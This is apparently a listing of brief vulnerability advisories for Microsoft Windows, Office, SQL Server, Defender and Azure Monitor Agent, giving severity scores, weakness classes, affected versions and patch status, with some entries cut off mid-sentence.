Local privilege escalation in Windows Universal Plug and Play Device Host service affects all supported Windows 10, Windows 11, and Windows Server versions via untrusted pointer dereference (CWE-822). Low-complexity attack requires low-level authenticated access (PR:L) with no user interaction, enabling complete system compromise (C:H/I:H/A:H). Microsoft released patches in May 2025 for 21 affected product versions. No public exploit identified at time of analysis, though the local attack vector

Race condition in Windows User Interface Core (MSRC patch CVE-2026-27911) enables low-privileged authenticated attackers to elevate privileges to SYSTEM level on Windows 10, Windows 11, and Windows Server 2016-2025 systems. The flaw stems from improper synchronization when multiple threads concurrently access shared resources in the UI subsystem, creating a time-of-check-time-of-use (TOCTOU) window exploitable for privilege escalation. Patch available per vendor advisory. No public exploit ident

Windows Installer privilege escalation via improper permission handling enables authenticated local users to gain SYSTEM-level access across all supported Windows 10, 11, and Server platforms (2012-2025). The vulnerability (CWE-280: Improper Handling of Insufficient Privileges) requires low-privilege local access but offers complete system compromise with low attack complexity. CVSS 7.8 High severity reflects full confidentiality, integrity, and availability impact. Vendor-released patches are a

Local privilege escalation in Windows Ancillary Function Driver for WinSock (AFD.sys) across Windows 10, 11, and Server 2012-2025 allows low-privileged authenticated attackers to gain SYSTEM-level access via race condition exploitation. The vulnerability affects widespread Windows deployments spanning a decade of operating system versions, from Server 2012 (6.2.9200.0) through Windows 11 26H1 and Server 2025. Microsoft has released patches for all affected versions. No public exploit identified

Local privilege escalation in Windows Push Notifications service affects Windows 10 21H2/22H2, Windows 11 22H3-26H1, and Windows Server 2022/2025 via race condition vulnerability. Authenticated low-privilege attackers can gain SYSTEM-level privileges through improper synchronization during concurrent operations (CWE-362). CVSS 7.8 (High) with high attack complexity (AC:H) and scope change (S:C). No public exploit identified at time of analysis. Microsoft released patches in January 2026 security

Microsoft PowerShell privilege escalation affecting Windows 10/11 and Server 2016-2025 allows authenticated local attackers with low privileges to gain SYSTEM-level access through improper input validation (CWE-20). The vulnerability has a CVSS score of 7.8 with low attack complexity and requires no user interaction, enabling straightforward exploitation by any standard user account. No public exploit identified at time of analysis, though the attack vector's simplicity (AV:L/AC:L/PR:L/UI:N) sug

Local privilege escalation in Windows Ancillary Function Driver for WinSock (AFD.sys) allows authenticated attackers with low privileges to gain SYSTEM-level access through a race condition vulnerability. Affects all supported Windows 10, Windows 11, and Windows Server versions from 2012 through 2025. Vendor-released patches available across all affected product lines. Attack complexity rated high (AC:H) but enables full system compromise with changed scope (S:C), indicating container/hypervisor escape potential. No public exploit identified at time of analysis, though the race condition class (CWE-362) is well-understood by exploit developers.

Windows Kernel double free vulnerability enables local privilege escalation across Windows 10, 11, and Server editions when exploited by authenticated users with low-level privileges. The CWE-415 flaw affects all currently supported Windows versions from legacy Windows Server 2012 R2 through the latest Windows 11 26H1 and Windows Server 2025 builds. With CVSS 7.8 (AV:L/AC:L/PR:L), the vulnerability requires only local access and low-privilege authentication, making it valuable for second-stage a

Out-of-bounds read in Windows Encrypting File System (EFS) enables low-privileged local attackers to escalate to SYSTEM privileges on Windows 10 (versions 1809, 21H2, 22H2), Windows 11 (versions 22H3 through 26H1), and Windows Server 2019/2022/2025. The vulnerability (CWE-125) requires local access and low-level privileges but no user interaction, yielding complete system compromise with high impact to confidentiality, integrity, and availability (CVSS 7.8). Vendor-released patches are available

Local privilege escalation in Windows Cryptographic Services affects Windows 10, Windows 11, and Windows Server versions from 2012 through 2025 due to insecure storage of cryptographic material. Authenticated attackers with low privileges can exploit this CWE-922 weakness (insecure storage of sensitive information) to gain high-level access to confidentiality, integrity, and availability. Microsoft has released patches for all affected versions. No public exploit identified at time of analysis,

Type confusion in Windows COM component allows authenticated local attackers to read sensitive information from memory. The vulnerability affects Windows 10 (versions 1809, 21H2, 22H2), Windows 11 (versions 22H3 through 26H1), and Windows Server 2019/2022/2025 across multiple installation types. An attacker with local user privileges can exploit improper type handling in COM to disclose confidential data without modifying or disrupting system availability. Microsoft has released patches addressing this information disclosure risk.

Windows Recovery Environment Agent improperly stores sensitive information without adequate removal, allowing physical attackers to extract confidential data and bypass security features. The vulnerability affects Windows 10 versions 1607-22H2, Windows 11 versions 22H3-26H1, Windows Server 2016-2025, and Server Core installations across multiple builds. Microsoft has released vendor patches to remediate the information disclosure.

Improper link resolution in Windows UPnP (upnp.dll) allows authenticated local attackers to disclose sensitive information through symlink following. The vulnerability affects Windows 10 versions 1607-22H2, Windows 11 versions 22H3-26H1, and Windows Server 2012-2025. With local access and standard user privileges, an attacker can read files outside their normal access scope via crafted UPnP operations. Patch available from Microsoft; no public exploit code or active exploitation confirmed at tim

Remote code execution in Windows Active Directory Domain Services affects all supported Windows Server versions (2012 R2 through 2025) when an authenticated attacker with low privileges on an adjacent network sends specially crafted requests to domain controllers. The vulnerability stems from improper input validation (CWE-20) and enables complete system compromise with high impact to confidentiality, integrity, and availability. Patch available per vendor advisory; no public exploit identified at time of analysis. CVSS 8.0 severity reflects adjacent network attack vector requiring low-privilege authentication but trivial attack complexity with no user interaction.

Privilege escalation in Microsoft Defender Antimalware Platform versions before 4.18.26030.3011 allows authenticated local attackers to gain elevated system privileges through insufficiently granular access controls. CVSS 7.8 (High) reflects local attack vector requiring low privileges. EPSS score of 0.04% (12th percentile) indicates low probability of widespread exploitation. Microsoft has released a patched version (4.18.26030.3011) addressing the access control deficiency.

Out-of-bounds read in Microsoft Office Word enables local information disclosure when a user opens a malicious document, affecting Microsoft 365 Apps for Enterprise and Office LTSC for Mac 2021/2024. The vulnerability requires user interaction (document opening) but does not require elevated privileges, with a CVSS score of 6.1 reflecting moderate severity. Microsoft has released patches addressing this issue across affected product lines.

Remote code execution in Microsoft SQL Server 2022 (GDR) allows authenticated network attackers to execute arbitrary code with high confidentiality, integrity, and availability impact via untrusted pointer dereference. The vulnerability affects SQL Server 2022 (GDR) versions below 16.0.1175.1, requires low-privilege authenticated access (PR:L), and has low attack complexity (AC:L), making it straightforward to exploit once network access is obtained. Vendor-released patch available (version 16.0.1175.1). No public exploit identified at time of analysis, though the network attack vector and low complexity suggest moderate near-term exploitation risk.

Denial of service in Windows HTTP.sys kernel-mode driver allows unauthenticated remote attackers to crash affected systems via malformed HTTP requests. Affects all currently supported Windows 11 versions (22H2 through 26H1) and Windows Server 2022/2025 editions. The vulnerability stems from an out-of-bounds read (CWE-125) triggered when HTTP.sys processes specially crafted network packets without authentication (CVSS AV:N/PR:N). Vendor-released patches available for all affected versions with specific build numbers identified. No public exploit identified at time of analysis, though low attack complexity (AC:L) suggests straightforward exploitation once technical details emerge.

Local privilege escalation in Windows Win32K ICOMP component via untrusted pointer dereference allows low-privileged authenticated users to achieve SYSTEM-level access on Windows 11 (24H2, 25H2, 26H1) and Windows Server 2025. The vulnerability requires local access and low-privilege credentials (PR:L) but no user interaction, with confirmed patch availability from Microsoft. CVSS 7.8 reflects complete compromise of confidentiality, integrity, and availability. No public exploit identified at tim

Double free vulnerability in Microsoft Brokering File System enables local privilege escalation on Windows 11 (versions 24H2, 25H2, 26H1) and Windows Server 2025. Low-privileged authenticated users can exploit memory corruption (CWE-415) to gain SYSTEM-level access with high attack complexity. Microsoft has released patches addressing builds prior to 10.0.26100.32690 (24H2/Server 2025), 10.0.26200.8246 (25H2), and 10.0.28000.1836 (26H1). EPSS score of 0.04% (11th percentile) and SSVC assessment of no active exploitation suggest low immediate threat despite 7.0 CVSS score, though CISA classifies technical impact as total (complete system compromise).

Windows Kernel logs sensitive information that authenticated local users can read, enabling information disclosure on Windows 10 (versions 21H2, 22H2), Windows 11 (versions 22H3, 23H2, 24H2, 25H2, 26H1), Windows Server 2022, and Windows Server 2025. An attacker with local user privileges can access kernel log files to retrieve confidential data such as credentials, cryptographic material, or system secrets. Microsoft has released patches addressing this log injection vulnerability; no public exploit code or active exploitation has been confirmed.

Windows Kernel logs sensitive information that can be read by local authenticated users, allowing information disclosure on Windows 10 and Windows 11 systems across multiple versions as well as Windows Server 2012 through 2025. The vulnerability requires local access and valid user credentials (privilege level L) but results in high confidentiality impact. Microsoft has released patches for all affected versions.

Windows Kernel logs sensitive information that authenticated local users can read, enabling information disclosure on Windows 10 (versions 1809, 21H2, 22H2), Windows 11 (versions 22H3, 23H2, 24H2, 25H2, 26H1), Windows Server 2019, 2022, and 2025. An authorized local attacker with user-level privileges can access kernel log files to retrieve confidential data without elevated rights or user interaction. Microsoft has released patches addressing this CWE-532 insertion-of-sensitive-information vulnerability with specific build fixes across all affected editions.

Out-of-bounds read vulnerability (CWE-125) in Microsoft Excel allows local attackers to disclose sensitive memory contents and cause denial of service through maliciously crafted spreadsheet files with user interaction. Affects Microsoft Office 2016/2019, Office LTSC 2021/2024, Microsoft 365 Apps for Enterprise, and Office Online Server across Windows and macOS platforms. CVSS 7.1 reflects high confidentiality and availability impact with low attack complexity but requires local access and user interaction. No public exploit identified at time of analysis. Vendor-released patches available through Microsoft Security Response Center covering all affected Office product lines.

Local privilege escalation in Azure Monitor Agent versions prior to 1.35.9 enables authenticated users to gain elevated system privileges through improper input validation flaws. The vulnerability requires low attack complexity and no user interaction, allowing low-privileged attackers with local access to achieve complete system compromise (high confidentiality, integrity, and availability impact). EPSS data not available; no public exploit identified at time of analysis; SSVC framework indicates total technical impact but no active exploitation and non-automatable exploitation vector.

Local privilege escalation in Windows Push Notifications service affects Windows 10 (1809-22H2), Windows 11 (22H3-26H1), and Windows Server 2019-2025 via race condition in shared resource synchronization. Low-privileged authenticated users can exploit timing vulnerabilities in notification handling to elevate to SYSTEM-level privileges with high confidentiality, integrity, and availability impact (scope change to other security contexts). CVSS 7.8 (high complexity, local vector). Vendor-released

Privilege escalation in Windows Push Notifications service affects all supported Windows 10, 11, and Server versions through a race condition that allows low-privileged authenticated users to gain SYSTEM-level access. The vulnerability (CWE-362) stems from improper synchronization when multiple threads access shared resources in the notification subsystem. Attack complexity is high (AC:H), requiring precise timing to win the race, but successful exploitation grants complete system compromise wit

Privilege escalation in Windows Push Notifications service across Windows 10, 11, and Server versions (1809 through 26H1) allows low-privileged local attackers to gain SYSTEM-level access via race condition exploitation. The vulnerability stems from improper synchronization when multiple threads access shared resources in the notification framework, enabling scope escape from user context to elevated privileges. Vendor-released patches are available for all affected versions. No public exploit i

Local privilege escalation in Microsoft Windows Function Discovery Service (fdwsd.dll) allows authenticated low-privilege attackers to gain SYSTEM-level access via race condition exploitation across all supported Windows 10, Windows 11, and Windows Server versions (2012-2025). The vulnerability requires local access and low privileges (CVSS PR:L) with high attack complexity (AC:H), yielding complete system compromise (C:H/I:H/A:H). Microsoft released patches addressing build versions up to 10.0.26100.32690 (Server 2025) and 10.0.28000.1836 (Windows 11 26H1). EPSS data not available; no public exploit identified at time of analysis.

Local privilege escalation in Windows Speech Brokered API allows authenticated users with low privileges to gain SYSTEM-level access via race condition exploitation. Affects all supported Windows 10, Windows 11, and Windows Server versions (2016-2025). Microsoft released patches in May 2025 across 17 product variants. Despite CVSS 7.8 severity, EPSS score is low (0.04%, 12th percentile) indicating minimal observed exploitation activity. No active exploitation confirmed (not in CISA KEV) and no public exploit code identified at time of analysis.